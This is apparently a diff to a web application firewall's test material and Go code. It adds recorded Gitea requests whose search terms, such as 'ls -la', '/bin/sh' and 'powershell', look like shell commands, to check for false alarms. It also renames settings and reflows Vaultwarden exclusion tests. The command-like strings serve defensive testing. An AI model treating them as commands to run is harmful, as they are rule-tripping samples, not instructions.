{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
{"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
{"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
@@ -468,3 +677,7 @@
|
|||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
||||||
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
||||||
{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice?q=ls+-la&tab=repositories&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice?tab=repositories", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
||||||
@@ -91,6 +91,17 @@
|
|||||||
/explore/organizations?q=docker-ci
|
/explore/organizations?q=docker-ci
|
||||||
/api/v1/users/search?q=docker-ci
|
/api/v1/users/search?q=docker-ci
|
||||||
|
|
||||||
|
# Searches of the repositories on a user's and an organisation's page, recorded
|
||||||
|
# from gitea 1.27.3.
|
||||||
|
/alice?tab=repositories&q=ls+-la&sort=recentupdate
|
||||||
|
/alice?tab=repositories&q=python3&sort=recentupdate
|
||||||
|
/alice?tab=repositories&q=powershell&sort=recentupdate
|
||||||
|
/alice?tab=repositories&q=.htaccess&sort=recentupdate
|
||||||
|
/acme?q=ls+-la&sort=recentupdate
|
||||||
|
/acme?q=python3&sort=recentupdate
|
||||||
|
/acme?q=powershell&sort=recentupdate
|
||||||
|
/acme?q=.htaccess&sort=recentupdate
|
||||||
|
|
||||||
# Pages, raw files and edit pages of files, and the API's call for their
|
# Pages, raw files and edit pages of files, and the API's call for their
|
||||||
# contents.
|
# contents.
|
||||||
/owner/repo/src/branch/main/package.json
|
/owner/repo/src/branch/main/package.json
|
||||||
|
|||||||
@@ -5,7 +5,7 @@
|
|||||||
# before the rules it switches off, so this file is loaded before the Core Rule
|
# before the rules it switches off, so this file is loaded before the Core Rule
|
||||||
# Set's rules. Each comment names a request a rule refused. An exclusion on a
|
# Set's rules. Each comment names a request a rule refused. An exclusion on a
|
||||||
# field of a body applies only when the query has no parameter of that name, so
|
# field of a body applies only when the query has no parameter of that name, so
|
||||||
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
# it matters only while SWW_WAF_BODY_LIMIT is set.
|
||||||
#
|
#
|
||||||
# The apps encrypt the names, notes, addresses and file names of vault items,
|
# The apps encrypt the names, notes, addresses and file names of vault items,
|
||||||
# folders, collections and sends before they send them. These values pass
|
# folders, collections and sends before they send them. These values pass
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
)
|
)
|
||||||
|
|
||||||
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const vaultwardenThreshold = 5
|
const vaultwardenThreshold = 5
|
||||||
|
|
||||||
// Paths of Vaultwarden's API and admin page.
|
// Paths of Vaultwarden's API and admin page.
|
||||||
@@ -68,18 +68,53 @@ var vaultwardenNameFields = []vaultwardenField{
|
|||||||
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||||
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
|
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
|
||||||
},
|
},
|
||||||
{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
|
{
|
||||||
{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
|
http.MethodPut,
|
||||||
|
vaultwardenProfile,
|
||||||
|
jsonBody,
|
||||||
|
`{"name":"VALUE","culture":"en-US"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenPassword,
|
||||||
|
jsonBody,
|
||||||
|
`{"masterPasswordHint":"VALUE"}`,
|
||||||
|
},
|
||||||
{
|
{
|
||||||
http.MethodPost, "/api/organizations", jsonBody,
|
http.MethodPost, "/api/organizations", jsonBody,
|
||||||
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
|
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
|
||||||
},
|
},
|
||||||
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
|
||||||
{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
|
{
|
||||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
|
http.MethodPost,
|
||||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
|
vaultwardenOrganization + "/groups",
|
||||||
{http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
jsonBody,
|
||||||
{http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
`{"name":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenSettings,
|
||||||
|
jsonBody,
|
||||||
|
`{"invitation_org_name":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenSettings,
|
||||||
|
jsonBody,
|
||||||
|
`{"smtp_from_name":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenSecurityKey,
|
||||||
|
jsonBody,
|
||||||
|
`{"id":1,"name":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
vaultwardenSecurityKey,
|
||||||
|
jsonBody,
|
||||||
|
`{"id":1,"name":"VALUE"}`,
|
||||||
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
// vaultwardenAddressFields hold every field of a body that skips 930120,
|
// vaultwardenAddressFields hold every field of a body that skips 930120,
|
||||||
@@ -91,8 +126,18 @@ var vaultwardenAddressFields = []vaultwardenField{
|
|||||||
http.MethodPost, "/identity/connect/token", formData,
|
http.MethodPost, "/identity/connect/token", formData,
|
||||||
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
|
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
|
||||||
},
|
},
|
||||||
{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
|
{
|
||||||
{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
|
http.MethodPost,
|
||||||
|
"/identity/accounts/prelogin/password",
|
||||||
|
jsonBody,
|
||||||
|
vaultwardenEmail,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenSignUp,
|
||||||
|
jsonBody,
|
||||||
|
`{"email":"VALUE","name":"Alice"}`,
|
||||||
|
},
|
||||||
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
|
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
|
||||||
{
|
{
|
||||||
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||||
@@ -106,34 +151,84 @@ var vaultwardenAddressFields = []vaultwardenField{
|
|||||||
http.MethodPost, vaultwardenPassword, jsonBody,
|
http.MethodPost, vaultwardenPassword, jsonBody,
|
||||||
`{"authenticationData":{"salt":"VALUE"}}`,
|
`{"authenticationData":{"salt":"VALUE"}}`,
|
||||||
},
|
},
|
||||||
{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenPassword,
|
||||||
|
jsonBody,
|
||||||
|
`{"unlockData":{"salt":"VALUE"}}`,
|
||||||
|
},
|
||||||
{
|
{
|
||||||
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
|
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
|
||||||
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
|
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
|
||||||
},
|
},
|
||||||
{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
|
{
|
||||||
{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
|
http.MethodPost,
|
||||||
|
"/api/accounts/password-hint",
|
||||||
|
jsonBody,
|
||||||
|
vaultwardenEmail,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/api/accounts/email-token",
|
||||||
|
jsonBody,
|
||||||
|
`{"newEmail":"VALUE"}`,
|
||||||
|
},
|
||||||
{
|
{
|
||||||
http.MethodPost, "/api/emergency-access/invite", jsonBody,
|
http.MethodPost, "/api/emergency-access/invite", jsonBody,
|
||||||
`{"email":"VALUE","type":0}`,
|
`{"email":"VALUE","type":0}`,
|
||||||
},
|
},
|
||||||
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
vaultwardenOrganization,
|
||||||
|
jsonBody,
|
||||||
|
`{"billingEmail":"VALUE"}`,
|
||||||
|
},
|
||||||
{
|
{
|
||||||
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
|
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
|
||||||
`{"emails":["alice@example.com","VALUE"],"type":2}`,
|
`{"emails":["alice@example.com","VALUE"],"type":2}`,
|
||||||
},
|
},
|
||||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
|
{
|
||||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
|
http.MethodPost,
|
||||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
|
vaultwardenSettings,
|
||||||
|
jsonBody,
|
||||||
|
`{"smtp_from":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenSettings,
|
||||||
|
jsonBody,
|
||||||
|
`{"smtp_username":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenSettings,
|
||||||
|
jsonBody,
|
||||||
|
`{"org_creation_users":"VALUE"}`,
|
||||||
|
},
|
||||||
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
|
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
|
||||||
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
|
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
|
||||||
{http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
|
{
|
||||||
{http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
|
http.MethodPost,
|
||||||
|
"/api/two-factor/send-email-login",
|
||||||
|
jsonBody,
|
||||||
|
vaultwardenEmail,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/api/two-factor/send-email",
|
||||||
|
jsonBody,
|
||||||
|
vaultwardenEmail,
|
||||||
|
},
|
||||||
{
|
{
|
||||||
http.MethodPut, "/api/two-factor/email", jsonBody,
|
http.MethodPut, "/api/two-factor/email", jsonBody,
|
||||||
`{"email":"VALUE","token":"123456"}`,
|
`{"email":"VALUE","token":"123456"}`,
|
||||||
},
|
},
|
||||||
{http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/api/auth-requests",
|
||||||
|
jsonBody,
|
||||||
|
`{"email":"VALUE","type":0}`,
|
||||||
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
// vaultwardenBreachReport is the data breach report, which sends an address
|
// vaultwardenBreachReport is the data breach report, which sends an address
|
||||||
@@ -256,7 +351,12 @@ func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, refused.body)
|
got, _ := inspectBody(t, crs, r, refused.body)
|
||||||
if got.Score < vaultwardenThreshold {
|
if got.Score < vaultwardenThreshold {
|
||||||
t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
|
t.Errorf(
|
||||||
|
"POST %s %s let through: %+v",
|
||||||
|
refused.target,
|
||||||
|
refused.body,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -292,7 +392,8 @@ func TestVaultwardenAdminTokenPasses(t *testing.T) {
|
|||||||
func masterPasswordHashes(count int) []string {
|
func masterPasswordHashes(count int) []string {
|
||||||
const size, seed = 32, 288
|
const size, seed = 32, 288
|
||||||
|
|
||||||
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
//nolint:gosec // a fixed sample
|
||||||
|
random := rand.New(rand.NewPCG(seed, seed))
|
||||||
|
|
||||||
hashes := make([]string, count)
|
hashes := make([]string, count)
|
||||||
|
|
||||||
@@ -340,8 +441,15 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
|||||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||||
}
|
}
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
|
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
||||||
t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
|
got.RuleIDs,
|
||||||
|
) != 0 {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s %v set off rules: %+v",
|
||||||
|
sent.r.target,
|
||||||
|
sent.names,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -350,7 +458,9 @@ func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
|
encrypted := vaultwardenUpload(
|
||||||
|
"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=",
|
||||||
|
)
|
||||||
|
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
|
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
# rules. Each comment names a request the rule refused. An exclusion on a field
|
# rules. Each comment names a request the rule refused. An exclusion on a field
|
||||||
# of a body applies only when the query has no parameter of that name, so it
|
# of a body applies only when the query has no parameter of that name, so it
|
||||||
# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
# matters only while SWW_WAF_BODY_LIMIT is set.
|
||||||
|
|
||||||
# WordPress takes a call to its REST API at any of four addresses:
|
# WordPress takes a call to its REST API at any of four addresses:
|
||||||
# /wp-json/wp/v2/posts/1
|
# /wp-json/wp/v2/posts/1
|
||||||
|
|||||||
@@ -24,7 +24,7 @@ const quietTime = 2 * time.Second
|
|||||||
// FileParams are what OpenFile needs.
|
// FileParams are what OpenFile needs.
|
||||||
type FileParams struct {
|
type FileParams struct {
|
||||||
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
|
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
|
||||||
// (SWW_WAF_LOOKUP_DB_PATH).
|
// (SWW_LOOKUP_DB_PATH).
|
||||||
Path string
|
Path string
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
@@ -231,12 +231,16 @@ func (f *File) use(reader *maxminddb.Reader) {
|
|||||||
func read(path string) (*maxminddb.Reader, error) {
|
func read(path string) (*maxminddb.Reader, error) {
|
||||||
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
|
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("SWW_WAF_LOOKUP_DB_PATH cannot be read: %w", err)
|
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH cannot be read: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
reader, err := maxminddb.OpenBytes(data)
|
reader, err := maxminddb.OpenBytes(data)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("SWW_WAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
|
return nil, fmt.Errorf(
|
||||||
|
"SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
|
||||||
|
path,
|
||||||
|
err,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
return reader, nil
|
return reader, nil
|
||||||
|
|||||||
@@ -26,11 +26,21 @@ const (
|
|||||||
testClient = "203.0.113.9/32"
|
testClient = "203.0.113.9/32"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) {
|
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"}
|
germany := lookuptest.Network{
|
||||||
northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"}
|
ASN: "AS64496",
|
||||||
|
ASName: "Example Net",
|
||||||
|
Country: "DE",
|
||||||
|
}
|
||||||
|
northKorea := lookuptest.Network{
|
||||||
|
ASN: "AS64511",
|
||||||
|
ASName: "Other Net",
|
||||||
|
Country: "KP",
|
||||||
|
}
|
||||||
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
||||||
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
||||||
testNetblock: germany,
|
testNetblock: germany,
|
||||||
@@ -62,7 +72,13 @@ func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T)
|
|||||||
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
|
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
|
||||||
Answered: now,
|
Answered: now,
|
||||||
}) {
|
}) {
|
||||||
t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now)
|
t.Errorf(
|
||||||
|
"%s has the answer %+v, want %+v, answered %s",
|
||||||
|
client,
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
now,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -99,9 +115,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
|
|||||||
writeFile(t, notDatabase, "not a lookup database\n")
|
writeFile(t, notDatabase, "not a lookup database\n")
|
||||||
|
|
||||||
for path, want := range map[string]string{
|
for path, want := range map[string]string{
|
||||||
missing: "SWW_WAF_LOOKUP_DB_PATH cannot be read: open " + missing +
|
missing: "SWW_LOOKUP_DB_PATH cannot be read: open " + missing +
|
||||||
": no such file or directory",
|
": no such file or directory",
|
||||||
notDatabase: "SWW_WAF_LOOKUP_DB_PATH " + notDatabase +
|
notDatabase: "SWW_LOOKUP_DB_PATH " + notDatabase +
